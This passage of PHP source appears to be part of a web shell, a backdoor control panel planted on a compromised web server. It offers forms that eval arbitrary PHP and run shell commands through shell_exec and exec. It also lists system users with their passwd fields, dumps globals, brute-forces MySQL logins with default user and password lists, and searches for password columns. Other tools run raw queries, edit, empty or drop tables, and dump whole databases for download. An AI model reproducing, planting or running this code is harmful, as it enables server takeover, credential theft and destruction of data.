750 echo "<font color=\"#00AA00\"><b>directory \"".htmlentities($dir)."\" made successfully!</b></font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir&dir=".urlencode($dir)."\">to the directory</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
751 } else echo "<font color=\"#990000\"><b>Error:</b> directory \"".htmlentities($dir)."\" could not be made (Denied!)</font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
752 }
753 break;
754 case "eval":
755 if(!request('shownone')) {
756 ?>
757 Eval (execute) this code:
758 <form method="POST" action="?action=eval">
759 <input type="checkbox" name="shownone" value="1" <?php if(request('shownone')) echo "CHECKED";?>> Do not echo out anything except for the output of the executed code<br>
760 <input type="checkbox" name="showallerrors" value="1" <?php if(request('showallerrors')) echo "CHECKED";?>> Show all PHP errors, warnings and notices<br>
761 <textarea name="eval" style="width:90%;height:500;"><?php echo htmlentities(request('eval'));?></textarea><br>
762 <input type="submit" value="execute">
763 </form>
764 <?php
765 }
766 if(request('eval')) {
767 if(!request('shownone')) echo "evaling PHP Code below:<hr>";
768 if(request('showallerrors')) {
769 @ini_set("error_reporting", "E_ALL");
770 @error_reporting(E_ALL);
771 }
772 eval(request('eval'));
773 }
774 break;
775 case "shellexec":
776 ?>
777 execute this shell (one command per line):
778 <form method="POST" action="?action=shellexec">
779 <textarea name="shellexec" style="width:90%;height:500;"><?php echo htmlentities(request('shellexec'));?></textarea><br>
780 <input type="checkbox" name="processasmany" value="1" <?php if(request('processasmany')) echo "CHECKED"; ?>> Proccess seperately (only check if the commands don't have anything to do with each other)
781 <input type="submit" value="execute">
782 </form>
783 <?php
784 if(request('shellexec')) {
785 if(!request('processasmany')) {
786 echo "executing shell below:<hr><pre>";
787 echo "<b>".htmlentities(request('shellexec'))."</b><hr><br>".htmlentities(shell_exec(str_replace("\r","",request('shellexec'))))."<hr>";
788 echo "<hr></pre>";
789 } else {
790 $commands = explode("\n",str_replace("\r","",request('shellexec')));
791 echo "executing shell below:<hr><pre>";
792 foreach($commands as $cmd) echo "<b>".htmlentities($cmd)."</b><hr><br>".htmlentities(shell_exec($cmd))."<hr>";
793 echo "<hr></pre>";
794 }
795 }
796 break;
797 case "exec":
798 ?>
799 execute this program (one command per line):
800 <form method="POST" action="?action=exec">
801 <textarea name="exec" style="width:90%;height:500;"><?php echo htmlentities(request('exec'));?></textarea><br>
802 <input type="submit" value="execute">
803 </form>
804 <?php
805 if(request('exec')) {
806 $commands = explode("\n",str_replace("\r","",request('exec')));
807 echo "executing below:<hr><pre>";
808 foreach($commands as $cmd) { if(trim($cmd)) { exec($cmd,$output,$ret); echo "<b>".htmlentities($cmd)."</b><hr><br>".htmlentities(print_r($output,true))."<hr>Return status:".htmlentities($ret)."<hr>";}}
809 echo "<hr></pre>";
810 }
811 break;
812 case "phpinfo":
813 phpinfo();
814 break;
815 case "system":
816 ?>
817 <h2>System</h1>
818 <?php $sys = posix_uname(); ?>
819 Sysname: <?php echo htmlentities($sys['sysname']); ?><br />
820 nodename: <?php echo htmlentities($sys['nodename']); ?><br />
821 release: <?php echo htmlentities($sys['release']); ?><br />
822 version: <?php echo htmlentities($sys['version']); ?><br />
823 machine: <?php echo htmlentities($sys['machine']); ?><br />
824 <?php
825 if(isset($_GET['start']) && (int)get('start')) $start = (int)get('start');
826 else $start = 0;
827 if(isset($_GET['end']) && (int)get('end')) $end = (int)get('end');
828 else $end = 20000;
829 if(isset($_GET['startg']) && (int)get('startg')) $startg = (int)get('startg');
830 else $startg = 0;
831 if(isset($_GET['endg']) && (int)get('endg')) $endg = (int)get('endg');
832 else $endg = 500;
833 ?>
834 <form method="get">
835 <input type="hidden" name="action" value="system" /><br />
836 <b>UID Range:</b><br />
837 Start: <input type="text" name="start" value="<?php echo $start; ?>" /><br />
838 End: <input type="text" name="end" value="<?php echo $end; ?>" /><br />
839 <b>GID Range:</b><br />
840 Start: <input type="text" name="startg" value="<?php echo $startg; ?>" /><br />
841 End: <input type="text" name="endg" value="<?php echo $endg; ?>" /><br />
842 <input type="submit" />
843 </form>
844 <h2>Users</h2>
845 <ul>
846 <?php
847 for($i = $start;$i < $end;$i++) {
848 $user = posix_getpwuid($i);
849 if($user) {
850 echo "<li> <b>".htmlentities($user['name'])."</b>
851 <blockquote>passwd: ".htmlentities($user['passwd'])."<br /> uid/gid: ".htmlentities($user['uid'])." / ".htmlentities($user['gid'])."<br /><!--gecos: ".htmlentities($user['gecos'])."<br />-->dir: ".htmlentities($user['dir'])."<br /><!--shell: ".htmlentities($user['shell'])."--></blockquote></li>";
852 } elseif($user === null) {
853 echo "<li> <b>Error:</b> posix_getpwuid() returned null. Should either return array or false. This most likely means it is disabled on this server. Stopping.</li>";
854 break;
855 }
856
857 }?>
858 </ul>
859 <h2>Groups</h2>
860 <ul>
861 <?php
862 for($i = $startg;$i < $endg;$i++) {
863 $group = posix_getgrgid($i);
864 if($group) {
865 echo "<li> <b>".htmlentities($group['name'])."</b>
866 <blockquote>passwd: ".htmlentities($group['passwd'])."<br /> gid: ".htmlentities($group['gid'])."<br /> Members: <ul>";
867 foreach($group['members'] as $member) {
868 echo "<li>".$member."</li>";
869 }
870 echo "</ul></blockquote></li>";
871 }
872
873 }//echo "<pre>";print_r(posix_getgrgid(103));print_r(posix_getgrgid(50));
874 ?>
875 </ul>
876 <?php
877 break;
878 case "showglobals":
879 echo "<pre>";
880 echo htmlentities(print_r($GLOBALS,true));
881 echo"</pre>";
882 break;
883 case "mysql":
884 switch(get('type')) {
885 default:
886 ?>
887 [<a href="?action=mysql&type=bf">Brute Force</a>]
888 [<a href="?action=mysql&type=query">Query</a>]
889 [<a href="?action=mysql&type=miniadmin">MiniAdmin</a>]
890 <?php
891 break;
892 case "bruteforce":
893 case "bf":
894 if(!post('users') || !post('passes')) {
895 ?>
896 <form method="POST" action="?action=mysql&type=bruteforce">
897 <h3 style="margin:2px;">Brute force:</h3>
898 <textarea name="users" style="width:40%;height:350;"><?php echo (post('users') ? htmlentities(post('users')) : "root\nmysql\n".@get_current_user());?></textarea> <textarea name="passes" style="width:40%;height:350;"><?php echo (post('passes') ? htmlentities(post('passes')) : "\n\nmysql\n".@get_current_user());?></textarea><br>
899 <input type="submit" value="execute">
900 </form>
901 <?php
902 } else {
903 $passes = explode("\n",str_replace("\r","",post('passes')));
904 $users = explode("\n",str_replace("\r","",post('users')));
905 foreach($users as $user) {
906 foreach($passes as $pass) {
907 if(@mysql_pconnect('localhost',$user,$pass)) {
908 echo "<b>Success</b> with combination: <input type=\"text\" value=\"".htmlentities($user)."\" size=\"12\" />: <input type=\"text\" value=\"".htmlentities($pass)."\" size=\"12\" /><br />";
909 } else {
910 echo "Failure with combination: <input type=\"text\" value=\"".htmlentities($user)."\" size=\"12\" />: <input type=\"text\" value=\"".htmlentities($pass)."\" size=\"12\" /><br />";
911 }
912 }
913 }
914 }
915 break;
916 case "query":
917 if(!isset($_POST['user']) || !isset($_POST['pass']) || !post('query')) {
918 ?>
919 <form method="post" action="?action=mysql&type=query">
920 MySQL host: <input type="text" name="host" value="<?php echo (post('host') ? htmlentities(post('host')) : 'localhost'); ?>" /><br />
921 MySQL user*: <input type="text" name="user" value="<?php echo htmlentities(post('user')); ?>" /><br />
922 MySQL pass: <input type="text" name="pass" value="<?php echo htmlentities(post('pass')); ?>" /><br />
923 MySQL database: <input type="text" name="database" value="<?php echo htmlentities(post('database')); ?>" /><br />
924 <textarea style="width:90%;height:300px;" name="query"><?php echo htmlentities(post('query')); ?></textarea><br />
925 Queries seperated by newlines.<br />
926 <input type="checkbox" name="cancelonfail" value="1" <?php if(post('cancelonfail')) echo "CHECKED"; ?>>Stop if a query fails?<br />
927 <input type="submit" value="Do it!" />
928 </form>
929 <b>Useful Queries:</b><br />
930 <ul>
931 <li>SHOW DATABASES;</li>
932 <li>USE <i>[database name]</i>;</li>
933 <li>SHOW TABLES;</li>
934 <li>SHOW COLUMNS IN <i>[table name]</i>;</li>
935 <li>SELECT * FROM <i>[table name]</i> LIMIT <i>1</i>;</li>
936 <li>SELECT * FROM <i>[table name]</i> WHERE <i>[column name]</i>='<i>value</i>' LIMIT <i>1</i>;</li>
937 <li>DELETE FROM <i>[table name]</i> WHERE <i>[column name]</i>='<i>value</i>' LIMIT <i>1</i>;</li>
938 <li>DELETE FROM <i>[table name]</i>;</li>
939 <li>UPDATE <i>[table name]</i> SET <i>[column name]</i>='<i>value</i>', <i>[column name]</i>='<i>value</i>' WHERE <i>[column name]</i>='<i>value</i>' LIMIT <i>1</i>;</li>
940 </ul>
941 <?php
942 } else {
943 $connection = @mysql_pconnect((post('host') ? post('host') : 'localhost'),post('user'),post('pass')) or die('<b>Error:</b> Could not connect to the server. Wrong pass/user?');
944 echo "Connection established.<br />";
945 if(post('database')) {
946 @mysql_select_db(post('database'),$connection) or die('<b>Error:</b> no connection to the database. Does it exist?');
947 echo "Database selected.<br />";
948 }
949 $queries = explode("\n",str_replace("\r","",post('query')));
950 foreach($queries as $query) {
951 if($query) {
952 echo "<blockquote>";
953 if($q = mysql_query($query)) {
954 $aff_row = mysql_affected_rows();
955 echo "Query successful! (".$aff_row." affected rows)<br /><input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($query)."\" /><br />";
956 if(is_resource($q)) {
957 echo "<b>Query Result:</b><br />";
958 echo "<blockquote>";
959 while($qr = mysql_fetch_assoc($q)) {
960 echo "<pre>".htmlentities(print_r($qr,true))."</pre><hr />";
961 }
962 echo "</blockquote>";
963 } else {
964 echo "Query is resultless. (this means it's a query that will never return anything - like update or delete, not an empty select)<br />";
965 }
966 } else {
967 echo "<b>Query failed!</b><br />Query: <input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($query)."\" /><br /><b>MySQL error:</b> ".mysql_error()."<br />";
968 if(post('cancelonfail')) {
969 echo "</blockquote><hr />Query failed! stopping!<br />";
970 break;
971 }
972 }
973 echo "</blockquote><hr />";
974 }
975 }
976 echo "All done!<br />";
977 }
978 break;
979 case "miniadmin":
980 if(isset($_GET['u']) && isset($_GET['p'])) {
981 $url = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p')).(get('shownodbs') ? "&shownodbs=1" : "");
982 if($mcon = @mysql_pconnect((get('h') ? get('h') : 'localhost'),get('u'),get('p'))) {
983 if(!get('shownone')) {
984 echo "<b>".htmlentities(get('h'))."</b> - ".htmlentities(get('db'))."<br />";
985 $databases = mysql_list_dbs();
986 echo "Databases: | ";
987 if(!get('shownodbs')) {
988 while ($row = mysql_fetch_row($databases)) {
989 if(get('db') != $row[0]) echo "<a href=\"".$url."&db=".htmlentities(urlencode($row[0]))."\">".$row[0]."</a> | \n";
990 else echo "<b>".$row[0]."</b> | ";
991 }
992 } else echo "Databases are hidden.";
993 echo "<hr />";
994 }
995 if(get('db')) {
996 $urld = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p'))."&db=".urlencode(get('db'));
997 if(@mysql_select_db(get('db'),$mcon)) {
998 if(!get('shownone')) {
999 $tables = mysql_query("SHOW TABLES");
1000 if($tables) {
1001 echo "Tables: | ";
1002 while ($row = mysql_fetch_row($tables)) {
1003 if(get('tb') != $row[0]) echo "<a href=\"".$url."&db=".get('db')."&tb=".$row[0]."\">".$row[0]."</a> | \n";
1004 else echo "<b>".$row[0]."</b> | ";
1005 }
1006 echo "<hr />";
1007 } else {
1008 echo "<b>Error:</b> The SHOW TABLES query failed! (".mysql_error().")<hr />";
1009 }
1010 }
1011 if(get('tb')) {
1012 $urlt = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p'))."&db=".urlencode(get('db'))."&tb=".urlencode(get('tb'));
1013 switch(get('ta')) {
1014 default:
1015 $getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string(get('tb'))."`");
1016 if($getcolumns) {
1017 ?><table border="1"><tr><td>Field</td><td>type</td><td>Key</td><td>default</td><td>AI?</td><td>Null?</td></tr><?php
1018 while($column = mysql_fetch_assoc($getcolumns)) {
1019 echo "<tr><td>".htmlentities($column['Field'])."</td><td>".htmlentities($column['Type'])."</td><td>".htmlentities(($column['Key'] ? $column['Key'] : 'none'))."</td><td>".htmlentities($column['Default'])."</td><td>".($column['Extra'] == "auto_increment" ? "y" : "n")."</td><td>".htmlentities($column['Null'])."</td></tr>";
1020 }
1021 ?></table><br /><?php
1022 } else die ("<b>Error:</b> Could not retrieve columns!<br />");
1023 list($totalrows) = mysql_fetch_row(mysql_query("SELECT COUNT(1) FROM `".mysql_real_escape_string(get('tb'))."`"));
1024 echo "Number of entries: ".$totalrows."<br />";
1025 echo "<hr />";
1026 break;
1027 case "delrow":
1028 echo "<b>Deleting a row</b><br />";
1029 $iden = get('trid');
1030 if($query = get_iden_query($iden)) {
1031 $getrow = mysql_query("SELECT * FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1");
1032 if($getrow && $rowdata = mysql_fetch_assoc($getrow)) {
1033 echo "Row found!<br />";
1034 if(!post('sure')) {
1035 echo "<b>Are you sure you want to delete this row?</b><br /><form method='post'><input type='checkbox' name='sure' value='1' />Yes<br /><input type='submit'></form><b>Rowdata:</b><br />";
1036 foreach($rowdata as $key => $val) {
1037 echo "<u>".htmlentities($key)."</u>: <br />";
1038 echo "<textarea>".htmlentities($val)."</textarea><br /><br />";
1039 }
1040 } else {
1041 $quer = "DELETE FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1";
1042 echo "Query: <input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($quer)."\" /><br />";
1043 if(mysql_query($quer)) {
1044 echo "Deleted row successfully";
1045 } else echo "<b>Mysql error while deleting:</b> ".htmlentities(mysql_error());
1046 }
1047 } else echo "Error: This row could not be found. Have you already deleted it?";
1048 }
1049 echo "<hr />";
1050 break;
1051 case "editrow":
1052 echo "<b>Editing a row</b><br />";
1053 $iden = get('trid');
1054 if($query = get_iden_query($iden)) {
1055 $getrow = mysql_query("SELECT * FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1");
1056 if($getrow && $rowdata = mysql_fetch_assoc($getrow)) {
1057 echo "Row found!<br /><br />";
1058 if(!$_POST) {
1059 echo "<form method='post'><b>Edit the values below:</b><br />";
1060 foreach($rowdata as $key => $val) {
1061 echo "<u>".htmlentities($key)."</u>: <br />";
1062 echo "<textarea style='width:90%;height:110px;' name=\"".htmlentities($key)."\">".htmlentities($val)."</textarea><br /><br />";
1063 }
1064 echo "<input type='submit' value='Edit!' /></form>";
1065 } else {
1066 $q2 = "";
1067 foreach($rowdata as $key => $val) {
1068 if(isset($_POST[$key]) && post($key) != $val) $q2 .= ($q2 ? ', ' : '')."`".$key."`='".post($key)."'";
1069 }
1070 if($q2) {
1071 $quer = "UPDATE `".mysql_real_escape_string(get('tb'))."` SET ".$q2." WHERE ".$query." LIMIT 1";
1072 echo "Query: <input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($quer)."\" /><br />";
1073 if(mysql_query($quer)) {
1074 echo "Edited row successfully";
1075 } else echo "<b>Mysql error while editing:</b> ".htmlentities(mysql_error());
1076 } else echo "Error: You didn't change any rows!";
1077 }
1078 } else echo "Error: This row could not be found. Have you already deleted it?";
1079 }
1080 echo "<hr />";
1081 break;
1082 case "view":
1083 $getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string(get('tb'))."`");
1084 if($getcolumns) {
1085 $columns = array();
1086 while($column = mysql_fetch_assoc($getcolumns)) {
1087 $columns[] = $column;
1088 }
1089 } else die("<b>Error:</b> Could not retrieve columns! (".mysql_error().")<br />");
1090 $s = ((int)get('s') ? (int)get('s') : 0);
1091 $n = ((int)get('n') ? (int)get('n') : 100);
1092 $limit = $s.",".$n;
1093
1094 $userwhere = "";
1095 if(get('cwhere')) {
1096 //if(substr(trim(get('cwhere')),0,5) != 'where') $userwhere = "WHERE ".get('chwere');
1097 $userwhere = get('cwhere');
1098 }
1099
1100 $query = "SELECT * FROM `".mysql_real_escape_string(get('tb'))."` ".$userwhere." LIMIT ".$limit;
1101 $getrows = mysql_query($query);
1102 echo 'Query: <input type="text" value="'.htmlentities($query).'" size="100" /><br />';
1103 echo '<form method="get" style="display:inline;">';
1104 foreach($_GET as $k => $v) if(!in_array($k,array("s","cwhere"))) echo "<input type=\"hidden\" name=\"".htmlentities($k)."\" value=\"".htmlentities($v)."\" />";
1105 echo 'Your custom additions: <input type="text" name="cwhere" value="'.(get('cwhere') ? htmlentities(get('cwhere')) : 'WHERE 1').'" size="60" /><input type="submit" value="change query"></form><br />';
1106 if($getrows) {
1107 list($totalrows) = mysql_fetch_row(mysql_query("SELECT COUNT(1) FROM `".mysql_real_escape_string(get('tb'))."` ".$userwhere));
1108 echo '<b>Page '.($n ? ($s/$n)+1 : 1).'</b> (Selecting '.$n.' out of a total of '.$totalrows.' rows, starting at '.$s.')<br />';
1109 if(($s-$n) >= 0) echo '[<a href="'.$urlt.'&ta=view&s='.($s-$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'"><<Page</a>]';
1110 if(($s+$n) <= $totalrows) echo '[<a href="'.$urlt.'&ta=view&s='.($s+$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'">Page>></a>]';
1111 echo "<table border='1'>\n<tr>";
1112 echo "<td>#</td><td></td>";
1113 $prim = array();
1114 foreach($columns as $column) {
1115 echo "<td>".($column['Key'] ? "<b>" : "").htmlentities($column['Field']).($column['Key'] ? "</b>" : "")." <i>(".htmlentities($column['Type']).")</i></td>";
1116 if($column['Key'] == "PRI") $prim[] = $column;
1117 }
1118 if(!$prim) $prim = $columns;
1119 echo "</tr>\n";
1120 $i = $s;
1121 while($row = mysql_fetch_assoc($getrows)) {
1122 $outp = "";
1123 $primaries = "";
1124 foreach($columns as $column) {
1125 if(in_array($column,$prim)) $primaries .= ($primaries ? "&" : "").urlencode($column['Field'])."=".htmlentities(urlencode($row[$column['Field']]));
1126 $outp .= "<td>";
1127 $size = 0;
1128 if(strpos($column['Type'],"(") === false) list($type) = explode("(",str_replace(")","",$column['Type']),2);
1129 else list($type,$size) = explode("(",str_replace(")","",$column['Type']),2);
1130 $size = intval($size);
1131 switch($type) {
1132 default: $outp .= htmlentities($row[$column['Field']]); break;
1133 case "int": $outp .= $row[$column['Field']]; break;
1134 case "varchar": case "char": $outp .= '<input type="text" size="'.(($size > 0 && $size < 20) ? $size : 25).'" value="'.htmlentities($row[$column['Field']]).'" />'; break;
1135 case "text": case "longtext": $outp .= '<textarea style="width:200px; height:50px;">'.htmlentities($row[$column['Field']]).'</textarea>'; break;
1136 }
1137 $outp .= "</td>";
1138 }
1139 $identification = "trid=".base64_encode($primaries);
1140 echo "<tr ".(($i%2) ? 'bgcolor="#EEEEEE"' : '')."><td>".$i."</td><td><a href='".$urlt."&ta=delrow&".$identification."'>X</a> <a href='".$urlt."&ta=editrow&".$identification."'>E</a></td>";
1141 $outp .= "</tr>\n";
1142 echo $outp;
1143 $i++;
1144 }
1145 echo "</table>";
1146 if(($s-$n) >= 0) echo '[<a href="'.$urlt.'&ta=view&s='.($s-$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'"><<Page</a>]';
1147 if(($s+$n) <= $totalrows) echo '[<a href="'.$urlt.'&ta=view&s='.($s+$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'">Page>></a>]';
1148 } else echo "<b>Error:</b> Could not get data due to mysql error (".mysql_error().")<br />";
1149 echo "<hr />";
1150 break;
1151 case "empty":
1152 if(post('sure')) {
1153 $query = "DELETE FROM `".mysql_real_escape_string(get('tb'))."`";
1154 echo 'Query: <input type="text" value="'.htmlentities($query).'" size="100" /><br />';
1155 if(mysql_query($query)) echo "Successfully emptied the table!<br />";
1156 else echo "MySQL error while emptying table: ".mysql_error()."<br />";
1157 } else {
1158 ?>
1159 <form method="post" action="<?php echo htmlentities($urlt);?>&ta=empty">Are you sure you want to empty the table '<?php echo htmlentities(get('tb')); ?>'? This cannot be reversed. <br /><input type="checkbox" name="sure" value="1" />Yes.<br /><input type="submit" value="Yes" /></form>
1160 <?php
1161 }
1162 echo "<hr />";
1163 break;
1164 case "drop":
1165 if(post('sure')) {
1166 $query = "DROP TABLE `".mysql_real_escape_string(get('tb'))."`";
1167 echo 'Query: <input type="text" value="'.htmlentities($query).'" size="100" /><br />';
1168 if(mysql_query($query)) echo "Successfully dropped the table!<br />";
1169 else echo "MySQL error while dropping the table: ".mysql_error()."<br />";
1170 } else {
1171 ?>
1172 <form method="post" action="<?php echo htmlentities($urlt);?>&ta=drop">Are you sure you want to drop the table '<?php echo htmlentities(get('tb')); ?>'? This cannot be reversed. <br /><input type="checkbox" name="sure" value="1" />Yes.<br /><input type="submit" value="Yes" /></form>
1173 <?php
1174 }
1175 echo "<hr />";
1176 break;
1177 case "dlsql":
1178 @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-".get('tb').".sql\"");
1179 @header("Content-type: text/plain");
1180 list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1181 echo "-- - table structure: ".get('h')." / ".get('db')." / ".get('tb')."\n-- -".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n";
1182 gettablesql(get('tb'));
1183 exit;
1184 break;
1185 case "dlsqldump":
1186 @set_time_limit(0);
1187 @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-".get('tb')."-data.sql\"");
1188 @header("Content-type: text/plain");
1189 list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1190 echo "-- - table dump: ".get('h')." / ".get('db')." / ".get('tb')."\n-- - ".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n";
1191 gettablesql(get('tb'));
1192 gettablecontentsql(get('tb'),((int)get('break') ? (int)get('break') : 100));
1193 exit;
1194 break;
1195 }
1196 if(!get('shownone')) {
1197 echo '<b>Table actions:</b><br />[<a href="'.$urlt.'&ta=view&s=0&n=10">view data</a> 10/page] [<a href="'.$urlt.'&ta=view&s=0&n=50">view data</a> 50/page] [<a href="'.$urlt.'&ta=view&s=0&n=100">view data</a> 100/page] [<a href="'.$urlt.'&ta=view&s=0&n=200">view data</a> 200/page] [<a href="'.$urlt.'&ta=view&s=0&n=500">view data</a> 500/page] [<a href="'.$urlt.'&ta=view&s=0&n=1000">view data</a> 1000/page]<br />';
1198 echo '[<a href="'.$urlt.'">view structure</a>] [<a href="'.$urlt.'&ta=empty">empty</a>] [<a href="'.$urlt.'&ta=drop">drop</a>] [<a href="'.$urlt.'&ta=insert">insert</a>] [<a href="'.$urlt.'&ta=dlsql&shownone=1">download table structure (sql)</a>] [<a href="'.$urlt.'&ta=dlsqldump&shownone=1">download table dump (sql)</a>]';
1199 echo "<hr />";
1200 }
1201 } else {//no table selected
1202 switch(get('da')) {
1203 default:
1204
1205 break;
1206 case "dlsql":
1207 @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db').".sql\"");
1208 @header("Content-type: text/plain");
1209 $gettables = mysql_query("SHOW TABLES");
1210 $tables = array();
1211 echo "-- - Database structure: ".get('h')." / ".get('db')."\n-- -".date('r')."\n";
1212 while($table= mysql_fetch_row($gettables)) {
1213 gettablesql($table[0]);
1214 }
1215 break;
1216 case "dlsqldump":
1217 @set_time_limit(0);
1218 @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-data.sql\"");
1219 @header("Content-type: text/plain");
1220 $gettables = mysql_query("SHOW TABLES");
1221 $tables = array();
1222 list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1223 echo "-- - Database dump: ".get('h')." / ".get('db')."\n-- -".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n";
1224 while($table= mysql_fetch_row($gettables)) {
1225 echo "\n-- - Table structure: ".$table[0]."\n";
1226 gettablesql($table[0]);
1227 echo "\n-- - Table data: ".$table[0]."\n";
1228 gettablecontentsql($table[0],((int)get('break') ? (int)get('break') : 1000));
1229 echo "\n\n";
1230 }
1231 exit;
1232 break;
1233
1234 }
1235 }
1236 if(!get('shownone')) echo '<b>Database actions:</b> <br />[<a href="'.$urld.'&da=dlsql&shownone=1">download database structure (sql)</a>] [<a href="'.$urld.'&da=dlsqldump&shownone=1">download database dump (sql)</a>] <hr />';
1237
1238 } else {
1239 die( "<b>Error:</b> Selected database does not exist/can't be accessed.<br />");
1240 }
1241 } else {
1242 switch(get('a')) {
1243 case "findpwcols":
1244 echo "<b>Finding columns containing 'pass' or 'pw'</b><br />";
1245 $needle = array('pass','pw');
1246 findindb($needle,'col');
1247 echo "<hr />";
1248 break;
1249 case "find":
1250 if(post('find')) {
1251 echo "<b>Finding columns containing ".htmlentities(post('find'))."</b><br />";
1252 $needle = explode(",",str_replace(" ","",post('find')));
1253 if(post('type') == 'col') findindb($needle,'col',(post('stype') == 1));
1254 else findindb($needle,'table',(post('stype') == 1));
1255 echo "<hr />";
1256 } else {
1257 ?>
1258 <form method="POST" action="<?php echo htmlentities($_SERVER['REQUEST_URI']); ?>">
1259 Find<br />
1260 <input type="radio" name="type" value="col" />columns <input type="radio" name="type" value="table" /> tables<br />
1261 <input type="radio" name="stype" value="0" />containing <input type="radio" name="stype" value="1" /> named<br />
1262 <input type="text" name="find" value="" /> (Separated by comma)<br />
1263 <input type="submit" value="Do it!" />
1264 </form>
1265 <?php
1266 }
1267 break;
1268 case "dlsql":
1269 @header("Content-Disposition: attachment; filename=\"".get('h')."-alldbs.sql\"");
1270 @header("Content-type: text/plain");
1271 $dbprefix = preg_replace('~^([^\\d\\w_\\-]*)$~is','',get('dbprefix'));
1272 $onlywithprefix = preg_replace('~^([^\\d\\w_\\-]*)$~is','',get('onlywithprefix'));
1273 $getdatabases = mysql_list_dbs();
1274 if($onlywithprefix ) echo "-- - Only tables with prefix: ".$onlywithprefix."\n";
1275 while ($db = mysql_fetch_row($getdatabases)) {
1276 if(!$onlywithprefix || substr($db[0],0,strtolower(strlen($onlywithprefix))) == strtolower($onlywithprefix)) {
1277 mysql_query("USE `".$db[0]."`");
1278 $gettables = mysql_query("SHOW TABLES");
1279 $tables = array();
1280 echo "-- - Database structure: ".get('h')." / ".$db[0]."\n-- - ".date('r')."\n";
1281 if($dbprefix) echo "-- - Added prefix: ".$dbprefix."\n";
1282 echo "CREATE DATABASE `".$dbprefix.$db[0]."`;\n";
1283 echo "USE `".$dbprefix.$db[0]."`;\n\n";
1284 while($table= mysql_fetch_row($gettables)) {
1285 gettablesql($table[0]);
1286 }
1287 } else {
1288 echo "-- - Skipping database: ".$db[0].", because of wrong prefix.\n";
1289 }
1290 }
1291 exit;
1292 break;
1293 }
1294 if(!get('shownone')) echo "<hr />";
1295 }
1296 if(!get('shownone')) echo '<b>General actions:</b> <br />[<a href="'.$url.'&a=findpwcols">Find columns probably containing passwords</a>] [<a href="'.$url.'&a=find">Search columns/tables</a>] [<a href="'.$url.'&a=dlsql&shownone=1">Download structure of all databases</a>]';
1297 } else {
1298 echo "<b>Error:</b> Could not connect to server (wrong pass?)<br />";
1299 $needlogin = 1;
1300 }
1301 } else $needlogin = 1;
1302 if(isset($needlogin)) {
1303 ?>
1304 <form method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']); ?>">
1305 <input type="hidden" name="action" value="mysql" />
1306 <input type="hidden" name="type" value="miniadmin" />
1307 Host: <input type="text" name="h" value="<?php echo (get('h') ? get('h') : 'localhost'); ?>" /><br />
1308 MySQL user: <input type="text" name="u" value="<?php echo get('u') ?>" /><br />
1309 MySQL pass: <input type="text" name="p" value="<?php echo get('p') ?>" /><br />
1310 <input type="submit" value="Go!" />
1311 </form>
1312 <?php
1313 }
1314 break;
1315
1316 }
1317 break;
1318}
1319?>